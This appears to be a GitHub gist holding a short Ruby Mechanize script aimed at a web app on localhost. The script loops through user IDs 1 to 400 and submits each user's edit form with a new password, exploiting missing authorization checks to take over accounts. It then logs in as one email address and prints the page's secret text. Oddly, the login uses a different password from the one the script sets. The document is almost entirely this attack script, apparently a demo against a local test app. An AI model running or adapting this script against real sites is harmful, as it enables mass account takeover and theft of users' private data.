Skip to content

Instantly share code, notes, and snippets.

@textgoeshere
Created November 8, 2013 11:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save textgoeshere/7369771 to your computer and use it in GitHub Desktop.
Save textgoeshere/7369771 to your computer and use it in GitHub Desktop.
require 'mechanize'
EMAIL = 'peter.parker@gmail.com'
agent = Mechanize.new
400.times do |i|
puts i
begin
agent.get "http://localhost:3000/users/#{i + 1}/edit"
agent.page.forms.first.tap do |f|
f['user[password]'] = '999999999'
f.submit
end
rescue Mechanize::ResponseCodeError
next
end
end
agent.get "http://localhost:3000/sessions/new"
agent.page.forms.first.tap do |f|
f['session[password]'] = '123456789'
f['session[email]'] = EMAIL
f.submit
end
puts agent.page.search('p.secret').text
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment